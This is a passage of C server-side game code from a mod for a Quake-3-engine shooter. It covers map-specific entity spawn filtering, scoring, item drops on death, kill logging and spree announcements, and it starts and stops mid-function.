if ((Q_stricmp(mapName, "mp_beach"))&&(Q_stricmp(mapName, "mp_ice"))&&(Q_stricmp(mapName, "tt_trench"))&&(Q_stricmp(mapName, "baseout"))&&(Q_stricmp(mapName, "tram"))&&(Q_stricmp(mapName, "fun_beach_2"))&&(Q_stricmp(mapName, "te_ufo"))&&(Q_stricmp(mapName, "mml_church_v1"))&&(Q_stricmp(mapName, "factory"))&&(Q_stricmp(mapName, "dark"))&&(Q_stricmp(mapName, "forest"))&&(Q_stricmp(mapName, "assault"))&&(Q_stricmp(mapName, "dam"))&&(Q_stricmp(mapName, "sfm"))&&(Q_stricmp(mapName, "hs_sniperbeach"))&&(Q_stricmp(mapName, "mp_frost"))&&(Q_stricmp(mapName, "mp_assault"))){//take of the ! and it means if it dont equal that
if (!strcmp("func_explosive", ent->classname) )
return qfalse;
}
if ((Q_stricmp(mapName, "mp_beach"))&&(Q_stricmp(mapName, "mp_ice"))&&(Q_stricmp(mapName, "factory"))&&(Q_stricmp(mapName, "mp_gta2"))&&(Q_stricmp(mapName, "baseout"))&&(Q_stricmp(mapName, "tram"))&&(Q_stricmp(mapName, "mml_church_v1"))&&(Q_stricmp(mapName, "dark"))&&(Q_stricmp(mapName, "sfm"))&&(Q_stricmp(mapName, "dam"))&&(Q_stricmp(mapName, "mp_sub"))&&(Q_stricmp(mapName, "mp_depot"))){
if ( !strcmp("func_static", ent->classname) )
return qfalse;
}
if (!Q_stricmp(mapName, "mp_destruction")){
if ( !strcmp("func_door", ent->classname) )
return qfalse;
if ( !strcmp("func_door_rotating", ent->classname) )
return qfalse;
}
//Spawn Trigger_Hurt here
if ((Q_stricmp(mapName, "dam"))&&(Q_stricmp(mapName, "border"))&&(Q_stricmp(mapName, "te_ufo"))&&(Q_stricmp(mapName, "train_siege"))&&(Q_stricmp(mapName, "dark"))){
if ( !strcmp("trigger_hurt", ent->classname) )
return qfalse;
}
if (!Q_stricmp(mapName, "mp_assault")){
if (!strcmp("func_door_rotating", ent->classname) )
return qfalse;
}
if (!Q_stricmp(mapName, "hs_sniperbeach")){
if (( !strcmp("func_explosive", ent->classname) )&& (ent->spawnflags == 32))
return qfalse;
}
if (!Q_stricmp(mapName, "mp_gta2")){
if ((!strcmp("func_door", ent->classname) )||(!strcmp("func_door_rotating", ent->classname) ))
return qfalse;
}
}
//S4NDM4NN- decide here what we dont want to spawn and such
if ((g_deathmatch.integer) || (g_panzerParty.integer) || (g_SpamWar.integer)){
if ((g_panzerParty.integer)||(g_SpamWar.integer)||(!Q_stricmp(mapName, "mp_beach"))||(!Q_stricmp(mapName, "mp_castle"))){
if ( !strcmp("func_explosive", ent->classname) )
return qfalse;
}
if ( !strcmp("team_WOLF_checkpoint", ent->classname) )
return qfalse;
if ( !strcmp("trigger_hurt", ent->classname) )
return qfalse;
if ((g_panzerParty.integer)||(g_SpamWar.integer)){
if ( !strcmp("func_static", ent->classname) )
return qfalse;
}
}
if (g_instaGib.integer || g_panzerParty.integer){
if ( !strcmp("misc_mg42", ent->classname) )
return qfalse;
}
/*
//make radar models be solid, so noobs cant camp in them.
if (!strcmp(ent->classname,"misc_model") && !strcmp(ent->model,"models/mapobjects/miltary_trim/radar_twr.md3")){
ent->clipmask = CONTENTS_SOLID;
ent->r.contents = CONTENTS_SOLID;
return qtrue;//we still want to spawn so return true.<hope this isnt changing it too soon :0
}
*/
if ((ent->model) && (!strcmp("models/mapobjects/miltary_trim/radar_twr.md3", ent->model))){
ent->clipmask = CONTENTS_SOLID;
ent->r.contents = CONTENTS_SOLID;
VectorSet (ent->r.mins, -8, -8, 0);
VectorSet (ent->r.maxs, 1000, 1000, 128);
trap_LinkEntity (ent);
return qfalse;//we still want to spawn so return true.<hope this isnt changing it too soon :0
}
//make sandbags SOLID
// if ((ent->model) && (!strcmp("models/mapobjects/miltary_trim/sandbag1_45.md3", ent->model) )){
// return qfalse;
/*
ent->spawnflags = 3;
//ent->clipmask = MASK_SHOT;
ent->clipmask = MASK_PLAYERSOLID | CONTENTS_SOLID | CONTENTS_MISSILECLIP;
trap_LinkEntity (ent);
//ent->r.contents = CONTENTS_SOLID;
*/
//}
return qtrue;
}
<file_sep>/*
* name: g_combat.c
*
* desc:
*
*/
#include "g_local.h"
#include "S4ND_local.h"
#ifdef OMNIBOT
#include "g_rtcwbot_interface.h"
#endif
/*
============
AddScore
Adds score to both the client and his team
============
*/
void AddScore( gentity_t *ent, int score ) {
if ( !ent->client ) {
return;
}
// no scoring during pre-match warmup
if ( level.warmupTime ) {
return;
}
// Ridah, no scoring during single player
// DHM - Nerve :: fix typo
if (g_gametype.integer == GT_SINGLE_PLAYER) {
return;
}
// done.
ent->client->ps.persistant[PERS_SCORE] += score;
if (g_gametype.integer >= GT_TEAM) // JPW NERVE changed to >=
level.teamScores[ ent->client->ps.persistant[PERS_TEAM] ] += score;
CalculateRanks();
}
/*
=================
TossClientItems
Toss the weapon and powerups for the killed player
=================
*/
extern void MagicSink(gentity_t *self);
void TossClientItems( gentity_t *self ) {
gitem_t *item;
int weapon;
gentity_t *drop = 0;
// drop the weapon if not a gauntlet or machinegun
weapon = self->s.weapon;
// make a special check to see if they are changing to a new
// weapon that isn't the mg or gauntlet. Without this, a client
// can pick up a weapon, be killed, and not drop the weapon because
// their weapon change hasn't completed yet and they are still holding the MG.
// (SA) always drop what you were switching to
if(1) {
if ( self->client->ps.weaponstate == WEAPON_DROPPING ) {
weapon = self->client->pers.cmd.weapon;
}
if ( !( COM_BitCheck( self->client->ps.weapons, weapon ) ) ) {
weapon = WP_NONE;
}
}
//Agent - we should let everything drop, panzer does, so all these should
/*if(g_deathmatch.integer != 2){
// JPW NERVE don't drop these weapon types
if ((weapon == WP_FLAMETHROWER) || (weapon == WP_GARAND) || (weapon == WP_MAUSER) || (weapon == WP_VENOM))
weapon = WP_NONE;
// jpw
}*/
if ( weapon > WP_NONE && weapon < WP_MONSTER_ATTACK1&& self->client->ps.ammo[ BG_FindAmmoForWeapon(weapon)] ) {
// find the item type for this weapon
item = BG_FindItemForWeapon( weapon );
// spawn the item
// Rafael
if (!(self->client->ps.persistant[PERS_HWEAPON_USE])) {
drop = Drop_Item( self, item, 0, qfalse );
// JPW NERVE -- fix ammo counts
drop->count = self->client->ps.ammoclip[BG_FindClipForWeapon(weapon)];
drop->item->quantity = self->client->ps.ammoclip[BG_FindClipForWeapon(weapon)];
// jpw
if (g_dropClips.integer){
if(g_dropReload.integer){
drop->count += self->client->ps.ammo[BG_FindAmmoForWeapon(weapon)];
drop->item->quantity += self->client->ps.ammo[BG_FindAmmoForWeapon(weapon)];
}
}
}
}
if ((!g_SniperMode.integer) && (g_deathmatch.integer != 2) && (!g_instaGib.integer)){
if (g_medPacks.integer){
if (self->client->ps.stats[STAT_PLAYER_CLASS] == PC_MEDIC){
int i;
item = BG_FindItem("Med Health");
for (i = 0; i < g_medPacks.integer; i++){
drop = Drop_Item(self, item, 0, qfalse);
drop->think = MagicSink;
drop->timestamp = level.time + 31200;
drop->parent = NULL;
}
}
}
if ((!g_SniperMode.integer) && (g_deathmatch.integer != 2) && (!g_instaGib.integer)){
if (g_ammoPacks.integer){
extern void MagicSink(gentity_t *self);
if (self->client->ps.stats[STAT_PLAYER_CLASS] == PC_LT) {
int i;
item = BG_FindItem("Ammo Pack");
for (i = 0; i < g_ammoPacks.integer; i++){
drop = Drop_Item(self, item, 0, qfalse);
drop->think = MagicSink;
drop->timestamp = level.time + 31200;
drop->parent = NULL;
}
}
}
if (self->client->ps.stats[STAT_KEYS] & (1 << INV_BINOCS) && g_dropBinocs.integer){
item = &bg_itemlist[82];
drop = Drop_Item(self, item, g_test1.integer, qfalse);
drop->think = MagicSink;
drop->timestamp = level.time + 31200;
drop->parent = NULL;
}
}
if ((!g_SniperMode.integer) && (g_deathmatch.integer != 2) && (!g_instaGib.integer)){
if (g_nadePacks.integer){
if (self->client->ps.stats[STAT_PLAYER_CLASS] == PC_ENGINEER){
int i;
if (self->client->sess.sessionTeam == TEAM_RED)
item = BG_FindItem("Grenades");
else
item = BG_FindItem("Pineapples");
for (i = 0; i < g_nadePacks.integer; i++){
drop = Drop_Item(self, item, 0, qfalse);
drop->think = MagicSink;
drop->timestamp = level.time + 31200;
drop->parent = NULL;
}
}
}
}
}else if (g_deathmatch.integer == 2){
if (g_medPacks.integer){
int i;
item = BG_FindItem("Med Health");
for (i = 0; i < g_medPacks.integer; i++){
drop = Drop_Item(self, item, 0, qfalse);
drop->think = MagicSink;
drop->timestamp = level.time + 31200;
drop->parent = NULL;
}
}
}
}
/*
==================
LookAtKiller
==================
*/
void LookAtKiller( gentity_t *self, gentity_t *inflictor, gentity_t *attacker ) {
vec3_t dir;
vec3_t angles;
if ( attacker && attacker != self ) {
VectorSubtract (attacker->s.pos.trBase, self->s.pos.trBase, dir);
} else if ( inflictor && inflictor != self ) {
VectorSubtract (inflictor->s.pos.trBase, self->s.pos.trBase, dir);
} else {
self->client->ps.stats[STAT_DEAD_YAW] = self->s.angles[YAW];
return;
}
self->client->ps.stats[STAT_DEAD_YAW] = vectoyaw ( dir );
angles[YAW] = vectoyaw ( dir );
angles[PITCH] = 0;
angles[ROLL] = 0;
}
/*
==============
GibHead
==============
*/
void GibHead(gentity_t *self, int killer)
{
G_AddEvent( self, EV_GIB_HEAD, killer );
}
/*
==================
GibEntity
==================
*/
void GibEntity( gentity_t *self, int killer ) {
gentity_t *other=&g_entities[killer];
vec3_t dir;
VectorClear( dir );
if (other->inuse) {
if (other->client) {
VectorSubtract( self->r.currentOrigin, other->r.currentOrigin, dir );
VectorNormalize( dir );
} else if (!VectorCompare(other->s.pos.trDelta, vec3_origin)) {
VectorNormalize2( other->s.pos.trDelta, dir );
}
}
G_AddEvent( self, EV_GIB_PLAYER, DirToByte(dir) );
self->takedamage = qfalse;
self->s.eType = ET_INVISIBLE;
self->r.contents = 0;
}
/*
==================
body_die
==================
*/
void body_die( gentity_t *self, gentity_t *inflictor, gentity_t *attacker, int damage, int meansOfDeath ) {
if ( self->health > GIB_HEALTH ) {
return;
}
GibEntity( self, 0 );
}
// these are just for logging, the client prints its own messages
// Agent - Changing the MOD so VSP will keep track of them better and it will look better
// AGENT - This just counts down compaired to the list in bg_public.h to determine which mod to log
char *modNames[] = {
//Sandmod below.
"MOD_POISON_SYRINGE",
"MOD_GOOMBA",
"MOD_THROWING_KNIFE",
"MOD_LANDMINE",
"MOD_ADMIN_KILL",
"MOD_ADMIN_SLAP",
//end sandmod
"MOD_UNKNOWN",
"MOD_SHOTGUN",
"MOD_GAUNTLET",
"MOD_MACHINEGUN",
"MOD_GRENADE",
"MOD_GRENADE_SPLASH",
"MOD_PANZERFAUST", //MOD_ROCKET - This is a body shot
"MOD_PANZERFAUST", //MOD_ROCKET_SPLASH
"MOD_RAILGUN",
"MOD_LIGHTNING",
"MOD_BFG",
"MOD_BFG_SPLASH",
"MOD_KNIFE",
"MOD_KNIFE2",
"MOD_KNIFE_STEALTH",
"MOD_LUGER",
"MOD_COLT",
"MOD_MP40",
"MOD_THOMPSON",
"MOD_STEN",
"MOD_MAUSER",
"MOD_SNIPER_RIFLE", //MOD_SNIPERRIFLE - Its spelled SNIPER RIFLE, so make it look pretty in the stats
"MOD_GARAND",
"MOD_SNOOPERSCOPE",
"MOD_SILENCER",//----(SA)
"MOD_AKIMBO", //----(SA)
"MOD_BAR", //----(SA)
"MOD_FG42",
"MOD_FG42SCOPE",
"MOD_PANZERFAUST",
"MOD_ROCKET_LAUNCHER",
"MOD_GRENADE_LAUNCHER",
"MOD_VENOM",
"MOD_VENOM_FULL",
"MOD_FLAMETHROWER",
"MOD_TESLA",
"MOD_SPEARGUN",
"MOD_SPEARGUN_CO2",
"MOD_GRENADE_PINEAPPLE",
"MOD_CROSS",
"MOD_MORTAR",
"MOD_MORTAR_SPLASH",
"MOD_KICKED",
"MOD_GRABBER",
"MOD_WATER",
"MOD_DYNAMITE", //MOD_SLIME Changed to MOD_Dynamite
"MOD_AIRSTRIKE", //MOD_LAVA Changed to MOD_AIRSTRIKE
"MOD_ARTILLERY", //added by agent. now vsp will differentiate between a/s and ffe
"MOD_CRUSH",
"MOD_TELEFRAG",
"MOD_FALLING",
"MOD_SUICIDE",
"MOD_TARGET_LASER",
"MOD_TRIGGER_HURT",
"MOD_CRUSH", //MOD_GRAPPLE
"MOD_EXPLOSIVE",
"MOD_FALL_TO_DEATH", //MOD_POISONGAS
"MOD_SUICIDE", //MOD_ZOMBIESPIT
"MOD_ZOMBIESPIT_SPLASH",
"MOD_WORLD", //MOD_ZOMBIESPIRIT - Fire, barbwire,etc
"MOD_ZOMBIESPIRIT_SPLASH",
"MOD_LOPER_LEAP",
"MOD_LOPER_GROUND",
"MOD_LOPER_HIT",
// JPW NERVE
"MOD_LT_ARTILLERY",
"MOD_LT_AIRSTRIKE",
"MOD_ENGINEER", // not sure if we'll use
"MOD_MEDIC", // these like this or not
// jpw
"MOD_BAT"
};
/*
==================
player_die
==================
*/
void limbo( gentity_t *ent, qboolean makeCorpse ); // JPW NERVE
void player_die( gentity_t *self, gentity_t *inflictor, gentity_t *attacker, int damage, int meansOfDeath ) {
// TTimo might be used uninitialized
int contents = 0;
int killer;
int i;
//int shots = self->client->pers.life_shots;
float acc = 0.0f;
char *killerName, *obit;
qboolean nogib = qtrue;
gitem_t *item=NULL; // JPW NERVE for flag drop
vec3_t launchvel,launchspot; // JPW NERVE
gentity_t *flag; // JPW NERVE
int killerhealth = 0;
if ( self->client->ps.pm_type == PM_DEAD ) {
return;
}
if ( level.intermissiontime ) {
return;
}
self->client->ps.pm_type = PM_DEAD;
self->client->ps.persistant[PERS_HWEAPON_USE] = 0; // cs: dead players can't be mounted
G_AddEvent( self, EV_STOPSTREAMINGSOUND, 0);
//Martin - Shoving is a teamkill / kill
// Falls from high distance can be 3 seconds
if ((self->client->pers.lastShovedTime + 3000 >= level.time) && (meansOfDeath == MOD_FALLING))
{
attacker = self->client->pers.lastShovedClient;
}
// tjw: for g_shortcuts
if(attacker && attacker->client) {
self->client->pers.lastkiller_client = attacker->client->ps.clientNum;
attacker->client->pers.lastkilled_client = self->client->ps.clientNum;
}
if ( attacker ) {
killer = attacker->s.number;
if ( attacker->client ) {
killerName = attacker->client->pers.netname;
} else {
killerName = "<non-client>";
}
} else {
killer = ENTITYNUM_WORLD;
killerName = "<world>";
}
if ( killer < 0 || killer >= MAX_CLIENTS ) {
killer = ENTITYNUM_WORLD;
killerName = "<world>";
}
if ( meansOfDeath < 0 || meansOfDeath >= sizeof( modNames ) / sizeof( modNames[0] ) ) {
obit = "<bad obituary>";
} else {
obit = modNames[ meansOfDeath ];
}
if(g_gamestate.integer == GS_PLAYING){
G_LogPrintf("Kill: %i %i %i: %s killed %s by %s\n",
killer, self->s.number, meansOfDeath, killerName,
self->client->pers.netname, obit );
}
// L0 - deathSprees
deathSpree( self );
if (attacker && attacker->client)
{
if (!OnSameTeam(attacker, self))
attacker->client->pers.deathSpree = 0; // L0 - reset deaths if kill is made for deathSpree
} // L0 - end
#ifdef OMNIBOT
Bot_Event_Death(self-g_entities, &g_entities[attacker-g_entities], obit);
Bot_Event_KilledSomeone(attacker-g_entities, &g_entities[self-g_entities], obit);
#endif
if(g_deathmatch.integer != 2){
if (attacker && attacker->client){
if (!OnSameTeam(attacker, self)){
attacker->client->pers.kills++;
attacker->client->pers.life_kills++;
if(g_gamestate.integer == GS_PLAYING){
if(attacker->client->pers.kills > level.HAkillnum){
Q_strncpyz ( level.HAhighkillers, "", sizeof( level.HAhighkillers ) );
strcat(level.HAhighkillers, attacker->client->pers.netname);
level.HAkillnum = attacker->client->pers.kills;
}else if(attacker->client->pers.kills == level.HAkillnum){
strcat(level.HAhighkillers, "^7, ");//Add a comma after the other person
strcat(level.HAhighkillers, attacker->client->pers.netname);//and add their name
}
}
}else{ // On same team
if (attacker != self){
attacker->client->pers.teamKills++;
attacker->client->pers.lastTeamkilledPlayer = self->client->ps.clientNum; //Forgive for tk-revive
if(g_gamestate.integer == GS_PLAYING){
if(attacker->client->pers.teamKills > level.HAtknum){
Q_strncpyz ( level.HAtkers, "", sizeof( level.HAtkers ) );
strcat(level.HAtkers, attacker->client->pers.netname);
level.HAtknum = attacker->client->pers.teamKills;
}else if(attacker->client->pers.teamKills == level.HAtknum){
strcat(level.HAtkers, "^7, ");//Add a comma after the other person
strcat(level.HAtkers, attacker->client->pers.netname);//and add their name
}
}
}
}
}
}else{
if (attacker && attacker->client){
if (attacker != self){
attacker->client->pers.kills++;
attacker->client->pers.life_kills++;
//begin pers.kills for round
if (attacker->client->pers.life_kills == 10){
G_AddEvent( attacker, EV_GLOBAL_SOUND, G_SoundIndex( "sound/player/excellent.wav" ));
trap_SendServerCommand(-1, va("chat \"Console: %.99s^7: ^3EXCELLENT with ^110 ^3kills this life!\n\"", attacker->client->pers.netname));
}
if (attacker->client->pers.life_kills == 5){
G_AddEvent( attacker, EV_GLOBAL_SOUND, G_SoundIndex( "sound/player/impressive.wav" ));
trap_SendServerCommand(-1, va("chat \"Console: %.99s^7: ^3Impressive with ^15 ^3kills this life!\n\"", attacker->client->pers.netname));
}
//Multi
if (attacker->client->pers.kills == 5){
G_AddEvent( attacker, EV_GLOBAL_SOUND, G_SoundIndex( "sound/player/multikill.wav" ));
trap_SendServerCommand(-1, va("chat \"Console: %.99s ^7: ^3Multikill with ^75 ^3kills this game!\n\"", attacker->client->pers.netname));
}
//MEGA
if (attacker->client->pers.kills == 10){
G_AddEvent( attacker, EV_GLOBAL_SOUND, G_SoundIndex( "sound/player/megakill.wav" ));
trap_SendServerCommand(-1, va("chat \"Console: %.99s ^7: ^3MEGAKILL with ^710 ^3kills this game!\n\"", attacker->client->pers.netname));
}
}
}
}
self->client->pers.deaths++;
if(g_gamestate.integer == GS_PLAYING){
if(self->client->pers.deaths > level.HAdeathnum){
Q_strncpyz ( level.HAhighdeaths, "", sizeof( level.HAhighdeaths ) );
strcat(level.HAhighdeaths, self->client->pers.netname);
level.HAdeathnum = self->client->pers.deaths;
}else if(self->client->pers.deaths == level.HAdeathnum){
strcat(level.HAhighdeaths, "^7, ");//Add a comma after the other person
strcat(level.HAhighdeaths, self->client->pers.netname);//and add their name
}
}
self->enemy = attacker;
//S4NDM4NN the client is a spy so change them back
if(self->client->ps.isSpy){
self->client->ps.isSpy = qfalse;
ClientUserinfoChanged(self->client->ps.clientNum);
}
//S4NDM4NN-bring means of death from server side
//this will allow all vs all and also diff /sex
print_mod(attacker, self, meansOfDeath );
//END S4NDM4NN
if ((self && self->client) && (self->client->pers.gold-1 > 4)){
trap_SendServerCommand(-1, va("cp \"^3GOLDRUSH!\n\"2"));
trap_SendServerCommand(-1, va("print \"^3%s: ^5GOLDRUSH!\n\" 2",GetLevelTime()));
}
if (g_showLifeStats.integer){
//avoid divide-by-0 error, will be 0.0 until the player hits someone
if ((self->client->pers.life_shots) > 0)
acc = ((float)self->client->pers.life_hits / (float)self->client->pers.life_shots) * 100.0f;
if(attacker && attacker->client){
killerhealth = attacker->health;
if(killerhealth < 0)
killerhealth = 0;
}
if((g_deathmatch.integer != 2) && (g_gamestate.integer == GS_PLAYING)){
if (attacker && attacker->client && (!OnSameTeam(attacker, self))){
if (self->client->ps.stats[STAT_PLAYER_CLASS] == PC_MEDIC)
trap_SendServerCommand( self-g_entities, va("chat \"^7Last Life: ^3Kills: ^7%d, ^3Revives ^7%d, ^3Accuracy: ^7%2.2f (%d/%d), ^3Killer Health: ^7%d\"", self->client->pers.life_kills, self->client->pers.life_revives, acc, self->client->pers.life_hits, self->client->pers.life_shots, killerhealth) );
else
trap_SendServerCommand( self-g_entities, va("chat \"^7Last Life: ^3Kills: ^7%d, ^3Accuracy: ^7%2.2f (%d/%d), ^3Killer Health: ^7%d\"", self->client->pers.life_kills, acc, self->client->pers.life_hits, self->client->pers.life_shots, killerhealth) );
}else{
if (self->client->ps.stats[STAT_PLAYER_CLASS] == PC_MEDIC)
trap_SendServerCommand( self-g_entities, va("chat \"^7Last Life: ^3Kills: ^7%d, ^3Revives ^7%d, ^3Accuracy: ^7%2.2f (%d/%d)\"", self->client->pers.life_kills, self->client->pers.life_revives, acc, self->client->pers.life_hits, self->client->pers.life_shots) );
else
trap_SendServerCommand( self-g_entities, va("chat \"^7Last Life: ^3Kills: ^7%d, ^3Accuracy: ^7%2.2f (%d/%d)\"", self->client->pers.life_kills, acc, self->client->pers.life_hits, self->client->pers.life_shots ) );
}
}else{
if ((attacker && attacker->client) && (self!=attacker))
trap_SendServerCommand( self-g_entities, va("chat \"^7Last Life: ^3Kills: ^7%d, ^3Accuracy: ^7%2.2f (%d/%d), ^3Killer Health: ^7%d\"", self->client->pers.life_kills, acc, self->client->pers.life_hits, self->client->pers.life_shots, killerhealth) );
else
trap_SendServerCommand( self-g_entities, va("chat \"^7Last Life: ^3Kills: ^7%d, ^3Accuracy: ^7%2.2f (%d/%d)\"", self->client->pers.life_kills, acc, self->client->pers.life_hits, self->client->pers.life_shots) );
}
}
self->client->ps.persistant[PERS_KILLED]++;
self->client->pers.deathSpree++; // L0 - add count for deathSprees to self if you die
//Fraglimit stuff...
//if(g_SniperMode.integer){dont make this based on only sniper mode
if ((g_fraglimit.integer) && (attacker && attacker->client) && (g_gamestate.integer == GS_PLAYING)){
if ((self!=attacker) && (!OnSameTeam(attacker, self))){
if(attacker->client->sess.sessionTeam == TEAM_RED)
level.teamRedKills++;
else
level.teamBlueKills++;
}
if (g_deathmatch.integer != 2){
if ((self == attacker) || (OnSameTeam(attacker, self))){
if(attacker->client->sess.sessionTeam == TEAM_RED){
level.teamRedKills--;
trap_SendServerCommand( -1, va("print \"%s ^7just cost the Axis a kill\n\"",attacker->client->pers.netname ));
}else{
level.teamBlueKills--;
trap_SendServerCommand( -1, va("print \"%s ^7just cost the Allies a kill\n\"",attacker->client->pers.netname ));
}
}
}
}
// JPW NERVE -- if player is holding ticking grenade, drop it
if (g_gametype.integer != GT_SINGLE_PLAYER)
if ((self->client->ps.grenadeTimeLeft) && (self->s.weapon != WP_DYNAMITE)) {
launchvel[0] = crandom();
launchvel[1] = crandom();
launchvel[2] = random();
VectorScale( launchvel, 160, launchvel );
VectorCopy(self->r.currentOrigin, launchspot);
launchspot[2] += 40;
fire_grenade(self, launchspot, launchvel, self->s.weapon);
}
// jpw
if (g_deathmatch.integer < 2){
if (attacker && attacker->client) {
if ( attacker == self || OnSameTeam (self, attacker ) ) {
// DHM - Nerve :: Complaint lodging
if (g_complaintlimit.integer){
if ( attacker != self && level.warmupTime <= 0 ) {
#ifdef OMNIBOT
if ( attacker->client->pers.localClient && !(attacker->r.svFlags & SVF_BOT)) {
#else
if ( attacker->client->pers.localClient ) {
#endif // OMNIBOT
trap_SendServerCommand( self-g_entities, "complaint -4" );
}else {
trap_SendServerCommand( self-g_entities, va( "complaint %i", attacker->s.number ) );
self->client->pers.complaintClient = attacker->s.clientNum;
self->client->pers.complaintEndTime = level.time + 20500;
}
}
}
// dhm
// JPW NERVE
if (g_gametype.integer >= GT_WOLF) // high penalty to offset medic heal
AddScore(attacker, WOLF_FRIENDLY_PENALTY);
else
// jpw
AddScore( attacker, -1 );
} else {
// L0 - FirstBlood
if (g_gametype.integer >= GT_WOLF && g_FirstBlood.integer == 2) {
if( level.firstbloodTeam == -1 )
level.firstbloodTeam = attacker->client->sess.sessionTeam;
} // L0 - end
// JPW NERVE -- mostly added as conveneience so we can tweak from the #defines all in one place
else if (g_gametype.integer >= GT_WOLF)
AddScore(attacker, WOLF_FRAG_BONUS);
else
// jpw
AddScore( attacker, 1 );
DoubleKills( attacker, meansOfDeath ); // L0 - check for double kills.. - NOTE: 4.03/09 Added MOD, way better way to track kills and control print... :)
attacker->client->lastKillTime = level.time;
}
} else {
AddScore( self, -1 );
}
// Add team bonuses
Team_FragBonuses(self, inflictor, attacker);
}else{
if(attacker == self)
AddScore(attacker, -1);
else
AddScore(attacker, WOLF_FRAG_BONUS);
}
//======================MOVED================================================================
//was checking score before it even added the score oops
//S4NDM4NN-for the admin bot
if(g_deathmatch.integer !=2){
if(g_gamestate.integer == GS_PLAYING){
if ((attacker && attacker->client) && (OnSameTeam(attacker, self)) && (AB_Enable.integer))
check_adminbot(attacker, self, meansOfDeath);
}
}
//End S4NDM4NN
//=============================================================================================
//S4NDM4NN - going to make a CheckDeathmatch to check high score and stuff i think
//This will be used for top agent, and just for the taken the lead messages.
if (g_deathmatch.integer == 2){
if(!level.endDeathmatch){
CheckDeathmatch(attacker, self);
}
}
//End
//Check our stats to see if they need to be highlighted as doing well Agent
if((g_gamestate.integer == GS_PLAYING)&&(g_ShowHighlights.integer)){
if((attacker->client && attacker) && (!OnSameTeam(attacker,self)))
StatsCheck(attacker);
}
// if client is in a nodrop area, don't drop anything
// JPW NERVE new drop behavior
if (g_gametype.integer == GT_SINGLE_PLAYER) { // only drop here in single player; in multiplayer, drop @ limbo
contents = trap_PointContents( self->r.currentOrigin, -1 );
if ( !( contents & CONTENTS_NODROP ) ) {
TossClientItems( self );
}
}
if( OnSameTeam(self, attacker) && g_goldrush.integer)
self->client->pers.gold--;
if (g_goldrush.integer && self->client->pers.gold){
int i;
item = BG_FindItem("Gold");
for (i = 0; i < self->client->pers.gold-1; i++){
if (item) {
launchvel[0] = 100+crandom()*500;
launchvel[1] = 100+crandom()*500;
launchvel[2] = 10+random()*100;
flag = LaunchItem(item,self->r.currentOrigin,launchvel,self->s.number);
// default is the same color as the tesla weapon
// flag->dl_color[0] = 0.2f;
// flag->dl_color[1] = 0.6f;
// flag->dl_color[2] = 1.0f;
// 2 = blue 1 = green? 0 = red
flag->dl_color[0] = 1;
flag->dl_color[1] = 1;
flag->dl_color[2] = 0;
// SP_dlight(flag);
}
}
}
if(g_tournymode.integer && g_gamestate.integer!=GS_PLAYING)
self->client->ps.powerups[PW_REDFLAG] = 0;
// drop flag regardless
if(g_gamestate.integer == GS_PLAYING){
//Agent - dropflag sound fix (yea proabley not the best way to do this shit, but eh..)
char index[MAX_OSPATH];
gentity_t *other;
gentity_t *te;
if (g_gametype.integer != GT_SINGLE_PLAYER) {
if (self->client->ps.powerups[PW_REDFLAG]) {
item = BG_FindItem("Red Flag");
if (!item)
item = BG_FindItem("Objective");
Q_strncpyz(index, "sound/player/allies/hq_objlost.wav",sizeof(index));
trap_SendServerCommand(-1, va("cp \"Allies have lost %s!\n\" 2", self->message));
trap_SendServerCommand(-1, va("print \"^3%s: ^5Allies have lost %s!\n\" 2",GetLevelTime(), self->message));
self->client->ps.powerups[PW_REDFLAG] = 0;
for(i=0; i<MAX_CLIENTS; i++){
if (level.clients[i].pers.connected != CON_CONNECTED)
continue;
other = &g_entities[i];
te = G_TempEntity( other->s.pos.trBase, EV_GLOBAL_CLIENT_SOUND );
te->s.eventParm = G_SoundIndex (index);
te->s.teamNum = other->s.clientNum;
}
}
if (self->client->ps.powerups[PW_BLUEFLAG]) {
item = BG_FindItem("Blue Flag");
if (!item)
item = BG_FindItem("Objective");
Q_strncpyz(index, "sound/player/axis/hq_objlost.wav",sizeof(index));
trap_SendServerCommand(-1, va("cp \"Axis have lost %s!\n\" 2", self->message));
trap_SendServerCommand(-1, va("print \"^3%s: ^5Axis have lost %s!\n\" 2",GetLevelTime(), self->message));
self->client->ps.powerups[PW_BLUEFLAG] = 0;
for(i=0; i<MAX_CLIENTS; i++){
if (level.clients[i].pers.connected != CON_CONNECTED)
continue;
other = &g_entities[i];
te = G_TempEntity( other->s.pos.trBase, EV_GLOBAL_CLIENT_SOUND );
te->s.eventParm = G_SoundIndex (index);
te->s.teamNum = other->s.clientNum;
}
}
if (item) {
launchvel[0] = crandom()*20;
launchvel[1] = crandom()*20;
launchvel[2] = 10+random()*10;
flag = LaunchItem(item,self->r.currentOrigin,launchvel,self->s.number);
flag->s.modelindex2 = self->s.otherEntityNum2;// JPW NERVE FIXME set player->otherentitynum2 with old modelindex2 from flag and restore here
flag->message = self->message; // DHM - Nerve :: also restore item name
// Clear out player's temp copies
self->s.otherEntityNum2 = 0;
self->message = NULL;
}
}
// send a fancy "MEDIC!" scream. Sissies, ain' they?
if (self->client != NULL) {
if (self->health > GIB_HEALTH && meansOfDeath != MOD_SUICIDE ) {
if (self->client->sess.sessionTeam == TEAM_RED) {
if (random() > 0.5)
G_AddEvent( self, EV_GENERAL_SOUND, G_SoundIndex( "sound/multiplayer/axis/g-medic2.wav" ));
else
G_AddEvent( self, EV_GENERAL_SOUND, G_SoundIndex( "sound/multiplayer/axis/g-medic3.wav" ));
}
else {
if (random() > 0.5)
G_AddEvent( self, EV_GENERAL_SOUND, G_SoundIndex( "sound/multiplayer/allies/a-medic3.wav" ));
else
G_AddEvent( self, EV_GENERAL_SOUND, G_SoundIndex( "sound/multiplayer/allies/a-medic2.wav" ));
}
#ifdef OMNIBOT
// ATM: only register the goal if the target isn't in water.
if( self->waterlevel <= 1 /*|| g_underwaterRevive.integer*/ )
{
Bot_AddFallenTeammateGoals(self, self->client->sess.sessionTeam);
}
#endif
}
}
}
// jpw
Cmd_Score_f( self ); // show scores
// send updated scores to any clients that are following this one,
// or they would get stale scoreboards
for ( i = 0 ; i < level.maxclients ; i++ ) {
gclient_t *client;
client = &level.clients[i];
if ( client->pers.connected != CON_CONNECTED ) {
continue;
}
if ( client->sess.sessionTeam != TEAM_SPECTATOR ) {
continue;
}
if ( client->sess.spectatorClient == self->s.number ) {
Cmd_Score_f( g_entities + i );
}
}
self->takedamage = qtrue; // can still be gibbed
self->r.contents = CONTENTS_CORPSE;
self->s.powerups = 0;
// JPW NERVE -- only corpse in SP; in MP, need CONTENTS_BODY so medic can operate
if (g_gametype.integer == GT_SINGLE_PLAYER) {
self->s.weapon = WP_NONE;
